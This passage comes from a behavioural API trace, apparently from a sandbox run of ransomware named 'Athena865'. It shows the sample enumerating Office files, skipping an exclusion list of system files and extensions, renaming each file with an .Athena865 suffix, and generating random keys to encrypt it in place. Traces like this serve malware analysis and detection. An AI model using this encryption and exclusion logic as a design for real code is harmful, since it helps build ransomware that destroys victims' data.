hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.297] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416e2800, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x416e2800, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSTORE_K_COL.HXK", cAlternateFileName="MSTORE~2.HXK")) returned 1 [0143.297] lstrcmpiW (lpString1="MSTORE_K_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.297] lstrcmpiW (lpString1="MSTORE_K_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.297] lstrcmpiW (lpString1="MSTORE_K_COL.HXK", lpString2=".") returned 1 [0143.297] lstrcmpiW (lpString1="MSTORE_K_COL.HXK", lpString2="..") returned 1 [0143.297] lstrcmpiW (lpString1="MSTORE_K_COL.HXK", lpString2="windows") returned -1 [0143.297] lstrcmpiW (lpString1="MSTORE_K_COL.HXK", lpString2="bootmgr") returned 1 [0143.297] lstrcmpiW (lpString1="MSTORE_K_COL.HXK", lpString2="temp") returned -1 [0143.297] lstrcmpiW (lpString1="MSTORE_K_COL.HXK", lpString2="pagefile.sys") returned -1 [0143.297] lstrcmpiW (lpString1="MSTORE_K_COL.HXK", lpString2="boot") returned 1 [0143.297] lstrcmpiW (lpString1="MSTORE_K_COL.HXK", lpString2="ids.txt") returned 1 [0143.297] lstrcmpiW (lpString1="MSTORE_K_COL.HXK", lpString2="ntuser.dat") returned -1 [0143.297] lstrcmpiW (lpString1="MSTORE_K_COL.HXK", lpString2="perflogs") returned -1 [0143.297] lstrcmpiW (lpString1="MSTORE_K_COL.HXK", lpString2="MSBuild") returned 1 [0143.297] lstrlenW (lpString="MSTORE_K_COL.HXK") returned 16 [0143.297] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSTORE_K_COL.HXK" | out: lpString1="MSTORE_K_COL.HXK") returned="MSTORE_K_COL.HXK" [0143.297] lstrlenW (lpString="MSTORE_K_COL.HXK") returned 16 [0143.297] lstrlenW (lpString="Athena865") returned 9 [0143.297] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0143.297] lstrlenW (lpString=".dll") returned 4 [0143.297] lstrcmpiW (lpString1="MSTORE_K_COL.HXK", lpString2=".dll") returned 1 [0143.297] lstrlenW (lpString=".lnk") returned 4 [0143.297] lstrcmpiW (lpString1="MSTORE_K_COL.HXK", lpString2=".lnk") returned 1 [0143.297] lstrlenW (lpString=".ini") returned 4 [0143.297] lstrcmpiW (lpString1="MSTORE_K_COL.HXK", lpString2=".ini") returned 1 [0143.297] lstrlenW (lpString=".sys") returned 4 [0143.297] lstrcmpiW (lpString1="MSTORE_K_COL.HXK", lpString2=".sys") returned 1 [0143.297] lstrlenW (lpString="MSTORE_K_COL.HXK") returned 16 [0143.298] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK.Athena865") returned 74 [0143.298] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0143.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.299] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0143.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.300] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.300] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.300] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.300] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.300] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.301] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0143.302] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0143.303] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.304] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.304] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.304] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.304] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.304] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.304] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.304] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.305] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.305] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.305] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.305] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.305] CloseHandle (hObject=0x17c) returned 1 [0143.305] CloseHandle (hObject=0x154) returned 1 [0143.305] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.305] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.305] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.305] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NETWORK.CSS", cAlternateFileName="")) returned 1 [0143.305] lstrcmpiW (lpString1="NETWORK.CSS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.305] lstrcmpiW (lpString1="NETWORK.CSS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.305] lstrcmpiW (lpString1="NETWORK.CSS", lpString2=".") returned 1 [0143.305] lstrcmpiW (lpString1="NETWORK.CSS", lpString2="..") returned 1 [0143.305] lstrcmpiW (lpString1="NETWORK.CSS", lpString2="windows") returned -1 [0143.305] lstrcmpiW (lpString1="NETWORK.CSS", lpString2="bootmgr") returned 1 [0143.305] lstrcmpiW (lpString1="NETWORK.CSS", lpString2="temp") returned -1 [0143.305] lstrcmpiW (lpString1="NETWORK.CSS", lpString2="pagefile.sys") returned -1 [0143.306] lstrcmpiW (lpString1="NETWORK.CSS", lpString2="boot") returned 1 [0143.306] lstrcmpiW (lpString1="NETWORK.CSS", lpString2="ids.txt") returned 1 [0143.306] lstrcmpiW (lpString1="NETWORK.CSS", lpString2="ntuser.dat") returned -1 [0143.306] lstrcmpiW (lpString1="NETWORK.CSS", lpString2="perflogs") returned -1 [0143.306] lstrcmpiW (lpString1="NETWORK.CSS", lpString2="MSBuild") returned 1 [0143.306] lstrlenW (lpString="NETWORK.CSS") returned 11 [0143.306] lstrcpyW (in: lpString1=0x241e8a8, lpString2="NETWORK.CSS" | out: lpString1="NETWORK.CSS") returned="NETWORK.CSS" [0143.306] lstrlenW (lpString="NETWORK.CSS") returned 11 [0143.306] lstrlenW (lpString="Athena865") returned 9 [0143.306] lstrcmpiW (lpString1="TWORK.CSS", lpString2="Athena865") returned 1 [0143.306] lstrlenW (lpString=".dll") returned 4 [0143.306] lstrcmpiW (lpString1="NETWORK.CSS", lpString2=".dll") returned 1 [0143.306] lstrlenW (lpString=".lnk") returned 4 [0143.306] lstrcmpiW (lpString1="NETWORK.CSS", lpString2=".lnk") returned 1 [0143.306] lstrlenW (lpString=".ini") returned 4 [0143.306] lstrcmpiW (lpString1="NETWORK.CSS", lpString2=".ini") returned 1 [0143.306] lstrlenW (lpString=".sys") returned 4 [0143.306] lstrcmpiW (lpString1="NETWORK.CSS", lpString2=".sys") returned 1 [0143.306] lstrlenW (lpString="NETWORK.CSS") returned 11 [0143.306] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS.Athena865") returned 69 [0143.306] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network.css.athena865"), dwFlags=0x1) returned 1 [0143.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network.css.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.309] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3450) returned 1 [0143.309] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.309] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.309] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.309] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.310] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.310] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.310] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1080, lpName=0x0) returned 0x17c [0143.311] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1080) returned 0x100000 [0143.312] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.313] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.313] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.313] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.313] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.313] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.313] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.313] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.313] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.313] CloseHandle (hObject=0x17c) returned 1 [0143.314] CloseHandle (hObject=0x154) returned 1 [0143.314] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.314] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.314] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.314] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4126500, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4126500, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NETWORK1.VRD", cAlternateFileName="")) returned 1 [0143.314] lstrcmpiW (lpString1="NETWORK1.VRD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.314] lstrcmpiW (lpString1="NETWORK1.VRD", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.314] lstrcmpiW (lpString1="NETWORK1.VRD", lpString2=".") returned 1 [0143.314] lstrcmpiW (lpString1="NETWORK1.VRD", lpString2="..") returned 1 [0143.314] lstrcmpiW (lpString1="NETWORK1.VRD", lpString2="windows") returned -1 [0143.314] lstrcmpiW (lpString1="NETWORK1.VRD", lpString2="bootmgr") returned 1 [0143.314] lstrcmpiW (lpString1="NETWORK1.VRD", lpString2="temp") returned -1 [0143.314] lstrcmpiW (lpString1="NETWORK1.VRD", lpString2="pagefile.sys") returned -1 [0143.314] lstrcmpiW (lpString1="NETWORK1.VRD", lpString2="boot") returned 1 [0143.314] lstrcmpiW (lpString1="NETWORK1.VRD", lpString2="ids.txt") returned 1 [0143.314] lstrcmpiW (lpString1="NETWORK1.VRD", lpString2="ntuser.dat") returned -1 [0143.314] lstrcmpiW (lpString1="NETWORK1.VRD", lpString2="perflogs") returned -1 [0143.314] lstrcmpiW (lpString1="NETWORK1.VRD", lpString2="MSBuild") returned 1 [0143.314] lstrlenW (lpString="NETWORK1.VRD") returned 12 [0143.314] lstrcpyW (in: lpString1=0x241e8a8, lpString2="NETWORK1.VRD" | out: lpString1="NETWORK1.VRD") returned="NETWORK1.VRD" [0143.314] lstrlenW (lpString="NETWORK1.VRD") returned 12 [0143.314] lstrlenW (lpString="Athena865") returned 9 [0143.314] lstrcmpiW (lpString1="WORK1.VRD", lpString2="Athena865") returned 1 [0143.315] lstrlenW (lpString=".dll") returned 4 [0143.315] lstrcmpiW (lpString1="NETWORK1.VRD", lpString2=".dll") returned 1 [0143.315] lstrlenW (lpString=".lnk") returned 4 [0143.315] lstrcmpiW (lpString1="NETWORK1.VRD", lpString2=".lnk") returned 1 [0143.315] lstrlenW (lpString=".ini") returned 4 [0143.315] lstrcmpiW (lpString1="NETWORK1.VRD", lpString2=".ini") returned 1 [0143.315] lstrlenW (lpString=".sys") returned 4 [0143.315] lstrcmpiW (lpString1="NETWORK1.VRD", lpString2=".sys") returned 1 [0143.315] lstrlenW (lpString="NETWORK1.VRD") returned 12 [0143.315] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD.Athena865") returned 70 [0143.315] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd.athena865"), dwFlags=0x1) returned 1 [0143.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.317] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1844) returned 1 [0143.317] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.317] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.317] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.318] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.318] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.318] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.318] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa40, lpName=0x0) returned 0x17c [0143.321] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa40) returned 0x100000 [0143.322] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.323] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.323] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.323] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.323] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.323] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.323] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.323] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.324] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.324] CloseHandle (hObject=0x17c) returned 1 [0143.324] CloseHandle (hObject=0x154) returned 1 [0143.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.324] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4126500, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4126500, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x866, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NETWORK2.VRD", cAlternateFileName="")) returned 1 [0143.324] lstrcmpiW (lpString1="NETWORK2.VRD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.324] lstrcmpiW (lpString1="NETWORK2.VRD", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.324] lstrcmpiW (lpString1="NETWORK2.VRD", lpString2=".") returned 1 [0143.324] lstrcmpiW (lpString1="NETWORK2.VRD", lpString2="..") returned 1 [0143.324] lstrcmpiW (lpString1="NETWORK2.VRD", lpString2="windows") returned -1 [0143.324] lstrcmpiW (lpString1="NETWORK2.VRD", lpString2="bootmgr") returned 1 [0143.324] lstrcmpiW (lpString1="NETWORK2.VRD", lpString2="temp") returned -1 [0143.324] lstrcmpiW (lpString1="NETWORK2.VRD", lpString2="pagefile.sys") returned -1 [0143.324] lstrcmpiW (lpString1="NETWORK2.VRD", lpString2="boot") returned 1 [0143.324] lstrcmpiW (lpString1="NETWORK2.VRD", lpString2="ids.txt") returned 1 [0143.324] lstrcmpiW (lpString1="NETWORK2.VRD", lpString2="ntuser.dat") returned -1 [0143.324] lstrcmpiW (lpString1="NETWORK2.VRD", lpString2="perflogs") returned -1 [0143.325] lstrcmpiW (lpString1="NETWORK2.VRD", lpString2="MSBuild") returned 1 [0143.325] lstrlenW (lpString="NETWORK2.VRD") returned 12 [0143.325] lstrcpyW (in: lpString1=0x241e8a8, lpString2="NETWORK2.VRD" | out: lpString1="NETWORK2.VRD") returned="NETWORK2.VRD" [0143.325] lstrlenW (lpString="NETWORK2.VRD") returned 12 [0143.325] lstrlenW (lpString="Athena865") returned 9 [0143.325] lstrcmpiW (lpString1="WORK2.VRD", lpString2="Athena865") returned 1 [0143.325] lstrlenW (lpString=".dll") returned 4 [0143.325] lstrcmpiW (lpString1="NETWORK2.VRD", lpString2=".dll") returned 1 [0143.325] lstrlenW (lpString=".lnk") returned 4 [0143.325] lstrcmpiW (lpString1="NETWORK2.VRD", lpString2=".lnk") returned 1 [0143.325] lstrlenW (lpString=".ini") returned 4 [0143.325] lstrcmpiW (lpString1="NETWORK2.VRD", lpString2=".ini") returned 1 [0143.325] lstrlenW (lpString=".sys") returned 4 [0143.325] lstrcmpiW (lpString1="NETWORK2.VRD", lpString2=".sys") returned 1 [0143.325] lstrlenW (lpString="NETWORK2.VRD") returned 12 [0143.325] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD.Athena865") returned 70 [0143.325] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd.athena865"), dwFlags=0x1) returned 1 [0143.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.327] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2150) returned 1 [0143.327] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.327] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.327] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.327] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.328] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.328] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.328] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb70, lpName=0x0) returned 0x17c [0143.330] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb70) returned 0x100000 [0143.331] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.331] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.331] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.332] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.332] CloseHandle (hObject=0x17c) returned 1 [0143.332] CloseHandle (hObject=0x154) returned 1 [0143.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.332] HeapFree (in: 